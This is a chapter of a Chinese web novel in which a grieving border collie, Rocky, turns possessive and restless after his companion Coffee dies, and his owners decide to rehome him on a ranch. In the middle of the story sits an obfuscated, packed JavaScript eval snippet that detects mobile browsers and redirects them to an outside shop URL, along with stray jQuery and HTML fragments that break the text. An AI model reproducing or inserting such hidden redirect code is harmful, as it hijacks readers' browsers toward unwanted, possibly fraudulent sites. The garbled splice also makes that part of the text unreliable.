Coffee离世后的空洞，以各种方式持续回响。Rocky的消沉日益明显，它不再主动发起游戏，对韩慧的命令虽仍执行，却少了那份机敏的兴致，眼神时常放空。更让人不安的是，它开始出现一些轻微但持续的行为问题。
最显著的是，它对那个曾经属于Coffee、如今已被韩慧清洗干净收起来的橙色飞盘，产生了某种偏执的关注。它会将飞盘从储物篮里叼出来，放在阳台中央，然后趴在不远处，盯着飞盘看，一看就是半小时，一动不动，只有耳朵偶尔抖动。若有人（或其他动物）试图靠近或移动飞盘，它会立刻发出警告性的低吼，这是它从未对家人有过的行为。
一次，乌龙不小心蹭到了飞盘边缘，Rocky竟然猛地冲过去，虽未真的咬下去，但龇牙咆哮的姿态吓坏了本就胆小的乌龙。乌龙夹着尾巴逃到韩慧身后，瑟瑟发抖。
韩慧严厉地制止了Rocky，将它暂时隔离。但问题并未解决。Rocky的“守护”行为开始泛化，它对自己食盆的看护也变得过分紧张，进食时不允许乌龙靠近，甚至对Besty经过也会敏感地抬头低吼。它似乎将“失去Coffee”的焦虑，转化为了对身边所剩资源的过度防御和掌控。
阳台上的气氛因此变得有些紧张。Besty对Rocky的异常嗤之以鼻，更加远离公共区域。乌龙则变得更加谨小慎微，连去喝水都战战兢兢。墨点一家也察觉到这种紧张，外出和活动更加谨慎。
Rocky自己也在这种变化中感到困惑与焦灼。它的大脑——那个时刻渴望复杂变量与真正挑战的精密仪器——正在空转。Coffee的离去不仅带走了玩伴，也带走了一个能消耗它过剩精力的、不可预测的“变量”。飞盘游戏太简单，乌龙太胆小，Besty太冷漠，而阳台木箱里那家猫……它们身上有种荒野的韵律和谨慎的智慧，尤其是那只年轻公猫墨点。Rocky曾试图通过“恶作剧”测试它们的反应阈值、隐藏能力，想看看是否能建立起某种智力层面的互动，但多数尝试都被韩慧制止，或被科瓦干扰。
它知道韩慧和林朗爱它，给它最好的食物、温暖的窝、无尽的耐心和训练。但Rocky常常在深夜，听着身边乌龙梦中不安的呜咽，感到一种奇特的……孤独。不是缺乏陪伴，而是缺乏一种“被需要到非我不可”的深度，缺乏一个能让它全部心智和体力都燃烧起来的、复杂到值得穷尽一生去学习的课题。
“它在用这种方式，确认自己的存在，确认自己还‘拥有’什么。”雪绒在木箱中低声分析，“失去了最重要的玩伴和竞争对手，它的世界失去了平衡。它在试图抓住一些确定的东西，哪怕只是一个空盘子。但更深层的是，它的天赋在这里无处安放。”
韩慧和林朗自然也注意到了Rocky的变化。他们尝试用更多的陪伴、新玩具和不同的训练来转移它的注意力，但效果有限。Rocky的聪明让它能快速学会新指令，但它眼中那份燃烧的、寻找挑战的火焰，却似乎难以重新点燃。
一天傍晚，韩慧带着两只犬在楼下稍大一些的空地活动。Rocky的表现让韩慧忧心忡忡。它对扔出去的球兴趣缺缺，更多时候是在空地边缘嗅闻、标记，或者只是坐着，望向远方的车流和更广阔的草坪，眼神里透出一种……被困住的、渴望更广阔天地的焦躁。
当一只陌生的、精力充沛的年轻边牧被主人牵着经过时，Rocky的反应格外引人深思。它没有像以前可能的那样上前邀玩或观察，而是停下所有动作，耳朵竖起，身体绷紧，紧紧盯着那只同类，眼神复杂——有辨认，有比较，或许还有一丝难以掩饰的落寞和向往。那只年轻的边牧兴奋地朝它叫了两声，Rocky只是微微动了动尾巴尖，没有回应，随即转过头，走到韩慧脚边，用头顶了顶她的手，仿佛在寻求安慰，又像是在确认自己的归属。
那一刻，韩慧蹲下身，抱住Rocky，将脸埋进它黑白色的厚毛里，久久不语。林朗走过来，轻轻拍了拍她的背。
晚上，韩慧和林朗在客厅进行了一次长时间的、低声的谈话。墨点隐约听到“天性”、“需求”、“牧场”、“工作犬”、“是不是我们这里太小了”、“它的脑子需要更大的舞台”等零碎的词句。谈话的气氛凝重而充满不舍。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218524|197467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
几天后，一位客人到访。是一位看起来干练温和的中年女性，自称是“工作犬行为评估与再安置项目”的负责人。她和韩慧林朗交谈了很久，仔细观察了Rocky在家中和楼下有限空间里的表现，与Rocky进行了简单的互动测试。
Rocky对这个陌生人表现出谨慎但配合的态度，执行了几个基本指令，但那种内敛的审视和偶尔流露出的、对环境局限的不耐烦，没能逃过专业人士的眼睛。
客人离开后，韩慧红着眼眶，但眼神里多了一丝释然的决断。她对林朗说：“她说Rocky的智力水平和精力需求，确实更适合有更大空间和更复杂任务的环境。它不是不快乐，只是……这里的舞台，不够它施展了。继续下去，行为问题可能会更严重，对它，对乌龙，对家里都不好。她推荐了张牧的牧场……那是她合作过的，最懂得尊重工作犬天性的地方。”
林朗默默点头，握紧了韩慧的手。“爱它，就给它真正需要的天空，对吧？”
决定似乎已经做出。为Rocky寻找一个更适合它的新家——一个也许有牧场、有羊群、有真正让它大脑和身体都能充分运转的天地。
消息没有瞒着Rocky。似乎感应到什么，Rocky在接下来的几天里，异常安静。它不再守护飞盘，食盆边的防御性也降低了，更多时候是趴在韩慧或林朗身边，将头搁在他们膝上，眼神深深地看着他们，仿佛要把他们的样子刻进心里。它偶尔会望向阳台外的天空，那里有鸽群飞过，有风带来远方的气息。
阳台木箱里，墨点看着这一切，心中感慨万千。Coffee的离开是被动的，是生命自然的终结。而Rocky的离开，将是主动的选择，是基于爱与理解的放手。这是Garden正在学习的一种更艰难、也更高级的“规则”——爱不仅仅是提供庇护和食物，更是尊重每一个生命独特的天性与需求，并在必要时，勇敢地给予它们追寻更适合自己天空的自由。
空洞的食盆旁，即将迎来又一次充满泪水的告别。但这一次的告别，底色或许不是绝望的黑暗，而是混合着悲伤与祝福的、复杂的微光。